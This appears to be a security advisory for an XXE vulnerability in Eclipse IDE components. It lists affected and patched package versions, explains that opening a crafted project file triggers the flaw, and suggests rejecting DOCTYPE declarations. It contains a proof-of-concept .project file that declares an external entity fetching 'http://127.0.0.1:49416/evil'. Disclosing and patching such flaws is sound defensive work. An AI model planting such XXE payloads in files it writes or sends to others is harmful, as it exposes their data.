| Package | Affected versions | Patched versions |
|---|---|---|
| org.eclipse.jdt:org.eclipse.jdt.ui | < 3.30.0 | 3.30.0 |
| org.eclipse.platform:org.eclipse.core.runtime | < 3.29.0 | 3.29.0 |
| org.eclipse.platform:org.eclipse.jface | < 3.31.0 | 3.31.0 |
| org.eclipse.platform:org.eclipse.platform | < 4.29.0 | 4.29.0 |
| org.eclipse.platform:org.eclipse.ui.forms | < 3.13.0 | 3.13.0 |
| org.eclipse.platform:org.eclipse.ui.ide | < 3.21.100 | 3.21.100 |
| org.eclipse.platform:org.eclipse.ui.workbench | < 3.130.0 | 3.130.0 |
| org.eclipse.platform:org.eclipse.urischeme | < 1.3.100 | 1.3.100 |
| eclipse ide | < 4.29 | 4.29 |
| org.eclipse.core.runtime | < 3.29.0 | 3.29.0 |
| pde | < 3.13.2400 | 3.13.2400 |
xml files like ".project" are parsed vulnerable against all sorts of XXE attacks. The user just needs to open any evil project or update an open project with a vulnerable file (for example for review a foreign repository or patch).
Vulnerablility was found by static code analysis (SonarLint).
Example .project file:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE price [
<!ENTITY xxe SYSTEM "http://127.0.0.1:49416/evil">]>
<projectDescription>
<name>p</name>
<comment>&xxe;</comment>
</projectDescription>
Similar patches including junit test that shows the vulnerability have already applied to PDE (see https://github.com/eclipse-pde/eclipse.pde/pull/667). A solution to platform should be the same: just reject parsing any XML that contains any DOCTYPE.
No known workaround. User can only avoid to get/open any foreign files with eclipse. Firewall rules against loss of data (but not against XML bomb).
https://cwe.mitre.org/data/definitions/611.html https://rules.sonarsource.com/java/RSPEC-2755 https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/8 (Report for multiple projects affected)
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free